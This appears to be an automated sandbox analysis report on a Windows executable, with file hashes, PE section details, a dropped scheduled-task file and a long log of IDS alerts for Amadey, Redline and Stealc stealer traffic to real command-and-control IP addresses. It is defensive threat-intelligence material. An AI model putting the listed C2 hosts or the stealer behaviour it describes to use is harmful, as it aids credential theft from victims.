Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\Desktop\JGKjBsQrMc.exe
File Type:	data
Category:	dropped
Size (bytes):	310
Entropy (8bit):	3.507730747834629
Encrypted:	false
SSDEEP:	6:x6ocSZSXpJUEZ+lX1cI1l6lm6tcVAkXIEZ8MlW8+y0l1XMl0ut0:xVNapJQ1cagFkXd8kX+V18t0
MD5:	0B4C4F6FEACCD55054D0DDE3C97119DB
SHA1:	2A86B0C97B4EAD19C67F7F239EBC1252D0DFEC3F
SHA-256:	DCFB9210DBB4390092B9C3E490682E268D5047C4B453D442CD6A77F3008E64D6
SHA-512:	1BB6CEC5A80E2E6343946FF36B16183FE7B5893E2006250BA12EB6B7128D004FF28D2A786954FCEBE3068FCD1541A45273FFF2F0341CC20403986C7FAE655494
Malicious:	false
Preview:	....o..U...N..%..$UF.......<... .....s.......... ....................=.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................9.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947761453573232
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	JGKjBsQrMc.exe
File size:	1'878'528 bytes
MD5:	6f59ce88b52487bba7eb59e81525c4f5
SHA1:	83bb1abc3bd3b56bec0a68d6cd0df63bcf975ad6
SHA256:	6dd3d6081f01c1fb88b36ecd336005ab3571876be404efe416a7248866868191
SHA512:	985853c822cd92ee4a1f2a04eb63ee4e6692f23144683cf40e5a402e7a81b951acb1d489c0e5292c0b78aab99787f89dabcaec5b25975f706f52c01601293860
SSDEEP:	49152:k7FXgGgW5JEKR/99GAdrdKZWILQ5qDjVN:kXQWkK9HFYpQ5qD/
TLSH:	FF9533479E4E081AC4550FFD072BF7AE4A6AE571E866433EB18F10ED7A1FD0999020DD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a5000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A24110 [Thu Jul 25 12:12:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE1C10C2BDAh
js 00007FE1C10C2BF2h
add byte ptr [eax], al
jmp 00007FE1C10C4BD5h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a2f04	0x10	lddzjshm
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a2eb4	0x18	lddzjshm
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	c257bf6e54d44c1fbd33b04f9e2a4be3	False	0.9998879354508197	data	7.985958056489846	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	44d127c8c4f62435994928c4b7397abf	False	0.576171875	data	4.477015362494257	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x29f000	0x200	45660ca22281ae3658b6bf082d5eff85	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lddzjshm	0x30a000	0x19a000	0x199200	ea0800eb7b0fd4b3f5455b68a517b3d1	False	0.9941012402612283	data	7.9521734682193035	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ytmlykrz	0x4a4000	0x1000	0x400	e85250b8980934062d87c93b9a53c0dd	False	0.7744140625	data	6.111723801514958	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a5000	0x3000	0x2200	26ace6c22e64650cd813e3396feeac4b	False	0.05353860294117647	DOS executable (COM)	0.6282457496790453	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4a2f14	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T08:57:55.363226+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49756	85.28.47.31	192.168.2.7
2024-07-26T08:58:35.163851+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:57:54.708634+0200	TCP	2002725	ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054	80	49756	85.28.47.31	192.168.2.7
2024-07-26T08:58:27.228648+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:58:05.863035+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	80	49807	185.215.113.16	192.168.2.7
2024-07-26T08:57:40.212177+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49709	85.28.47.31	192.168.2.7
2024-07-26T08:58:34.057325+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:57:40.211195+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49709	85.28.47.31	192.168.2.7
2024-07-26T08:56:25.886658+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49699	52.165.165.26	192.168.2.7
2024-07-26T08:57:04.074054+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49704	52.165.165.26	192.168.2.7
2024-07-26T08:58:38.827370+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49239	85.28.47.70	192.168.2.7
2024-07-26T08:58:25.234377+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:57:40.301250+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49709	85.28.47.31	192.168.2.7
2024-07-26T08:58:29.951520+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:35.343395+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:57:40.034678+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49709	80	192.168.2.7	85.28.47.31
2024-07-26T08:58:38.896187+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:58:30.921721+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:32.872492+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:15.870077+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:57:36.742894+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	80	49709	85.28.47.31	192.168.2.7
2024-07-26T08:58:33.876313+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:37.823346+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	49239	80	192.168.2.7	85.28.47.70
2024-07-26T08:58:30.317950+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:15.622015+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:58:37.637355+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49239	80	192.168.2.7	85.28.47.70
2024-07-26T08:58:38.733129+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49239	85.28.47.70	192.168.2.7
2024-07-26T08:58:21.967126+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49224	80	192.168.2.7	85.28.47.31
2024-07-26T08:58:03.332240+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49787	80	192.168.2.7	185.215.113.16
2024-07-26T08:57:40.557674+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49709	85.28.47.31	192.168.2.7
2024-07-26T08:58:37.149744+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:57:30.632773+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49705	80	192.168.2.7	185.215.113.19
2024-07-26T08:58:06.550263+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49807	185.215.113.16	192.168.2.7
2024-07-26T08:58:39.000131+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49239	85.28.47.70	192.168.2.7
2024-07-26T08:57:32.181847+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49706	185.215.113.16	192.168.2.7
2024-07-26T08:57:57.953867+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49756	80	192.168.2.7	85.28.47.31
2024-07-26T08:58:33.063322+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:57:40.113353+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49709	85.28.47.31	192.168.2.7
2024-07-26T08:57:33.012140+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	80	49705	185.215.113.19	192.168.2.7
2024-07-26T08:57:54.330659+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49756	80	192.168.2.7	85.28.47.31
2024-07-26T08:58:29.577420+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:31.103996+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:32.630812+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:33.308589+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:38.894590+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49239	85.28.47.70	192.168.2.7
2024-07-26T08:57:54.708217+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49756	85.28.47.31	192.168.2.7
2024-07-26T08:58:21.452805+0200	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	39030	49223	20.52.165.210	192.168.2.7
2024-07-26T08:58:29.337829+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:17.896581+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:57:36.200347+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	49709	80	192.168.2.7	85.28.47.31
2024-07-26T08:57:40.743877+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49709	85.28.47.31	192.168.2.7
2024-07-26T08:57:38.753033+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	49709	80	192.168.2.7	85.28.47.31
2024-07-26T08:58:38.729942+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49239	80	192.168.2.7	85.28.47.70
2024-07-26T08:57:36.516016+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49710	80	192.168.2.7	185.215.113.19
2024-07-26T08:58:38.013138+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	49239	80	192.168.2.7	85.28.47.70
2024-07-26T08:58:30.134923+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:57:40.213015+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49709	85.28.47.31	192.168.2.7
2024-07-26T08:58:37.829876+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	80	49239	85.28.47.70	192.168.2.7
2024-07-26T08:58:23.399373+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:58:00.580599+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49787	80	192.168.2.7	185.215.113.16
2024-07-26T08:58:24.972496+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:58:37.397825+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:57:56.943562+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49756	85.28.47.31	192.168.2.7
2024-07-26T08:58:30.657812+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:39.593150+0200	TCP	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	49240	40960	192.168.2.7	185.215.113.67
2024-07-26T08:57:55.745802+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49756	80	192.168.2.7	85.28.47.31
2024-07-26T08:58:32.329583+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:57:36.008441+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49709	80	192.168.2.7	85.28.47.31
2024-07-26T08:58:29.342847+0200	TCP	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	39030	49223	20.52.165.210	192.168.2.7
2024-07-26T08:56:00.615129+0200	TCP	2800029	ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass	80	49209	34.104.35.123	192.168.2.7
2024-07-26T08:57:34.572335+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49708	80	192.168.2.7	185.215.113.16
2024-07-26T08:58:38.019521+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	80	49239	85.28.47.70	192.168.2.7
2024-07-26T08:58:06.115710+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:58:39.483070+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49239	85.28.47.70	192.168.2.7
2024-07-26T08:58:23.152885+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:57:57.447614+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49756	80	192.168.2.7	85.28.47.31
2024-07-26T08:58:38.542203+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	49239	80	192.168.2.7	85.28.47.70
2024-07-26T08:58:35.757419+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:08.402430+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49814	80	192.168.2.7	85.28.47.31
2024-07-26T08:58:21.212197+0200	TCP	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:57:36.531911+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	49709	80	192.168.2.7	85.28.47.31
2024-07-26T08:57:52.936976+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49756	80	192.168.2.7	85.28.47.31
2024-07-26T08:58:31.879474+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49807	80	192.168.2.7	185.215.113.16
2024-07-26T08:58:39.843455+0200	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	40960	49240	185.215.113.67	192.168.2.7
2024-07-26T08:58:33.608310+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:30.153244+0200	TCP	2018581	ET MALWARE Single char EXE direct download likely trojan (multiple families)	49233	443	192.168.2.7	103.28.36.182
2024-07-26T08:58:38.826491+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49239	85.28.47.70	192.168.2.7
2024-07-26T08:57:36.354012+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	80	49709	85.28.47.31	192.168.2.7
2024-07-26T08:57:31.692200+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49706	80	192.168.2.7	185.215.113.16
2024-07-26T08:58:26.508996+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:58:35.523909+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210
2024-07-26T08:57:55.086582+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49756	80	192.168.2.7	85.28.47.31
2024-07-26T08:57:33.806600+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49707	80	192.168.2.7	185.215.113.19
2024-07-26T08:58:34.237211+0200	TCP	2043231	ET MALWARE Redline Stealer TCP CnC Activity	49223	39030	192.168.2.7	20.52.165.210

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 08:56:00.615128994 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 26, 2024 08:56:01.818269014 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 26, 2024 08:56:04.146321058 CEST	49674	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:04.146464109 CEST	49675	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:04.224428892 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 26, 2024 08:56:04.286933899 CEST	49672	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:08.713043928 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 26, 2024 08:56:09.037123919 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 26, 2024 08:56:09.083880901 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 26, 2024 08:56:09.833836079 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 26, 2024 08:56:11.333889008 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 26, 2024 08:56:13.802629948 CEST	49674	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:13.802659988 CEST	49675	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:13.958861113 CEST	49672	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:14.505727053 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 26, 2024 08:56:16.336323977 CEST	443	49698	104.98.116.138	192.168.2.7
Jul 26, 2024 08:56:16.336431026 CEST	49698	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:18.646753073 CEST	49671	443	192.168.2.7	204.79.197.203
Jul 26, 2024 08:56:20.458904028 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 26, 2024 08:56:24.144942045 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:24.144987106 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:24.145170927 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:24.146836042 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:24.146848917 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:24.782078028 CEST	49698	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:24.782541990 CEST	49700	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:24.782573938 CEST	443	49700	104.98.116.138	192.168.2.7
Jul 26, 2024 08:56:24.782658100 CEST	49700	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:24.787005901 CEST	443	49698	104.98.116.138	192.168.2.7
Jul 26, 2024 08:56:24.789138079 CEST	49700	443	192.168.2.7	104.98.116.138
Jul 26, 2024 08:56:24.789169073 CEST	443	49700	104.98.116.138	192.168.2.7
Jul 26, 2024 08:56:24.889020920 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:24.889141083 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:24.892474890 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:24.892487049 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:24.892745018 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:24.943260908 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:25.643774986 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:25.688499928 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:25.878804922 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:25.878830910 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:25.878838062 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:25.878848076 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:25.878870964 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:25.878891945 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:25.878907919 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:25.878954887 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:25.886496067 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:25.886575937 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:25.886579990 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:25.886630058 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:26.566787004 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:26.566829920 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:26.566843033 CEST	49699	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:56:26.566854000 CEST	443	49699	52.165.165.26	192.168.2.7
Jul 26, 2024 08:56:32.365231037 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 26, 2024 08:57:03.045933962 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:03.045974970 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:03.046047926 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:03.046381950 CEST	49704	443	192.168.2.7	52.165.165.26
Jul 26, 2024 08:57:03.046394110 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:03.816227913 CEST	443	49704	52.165.165.26	192.168.2.7
Jul 26, 2024 08:57:03.816344023 CEST	49704	443	192.168.2.7	52.165.165.26
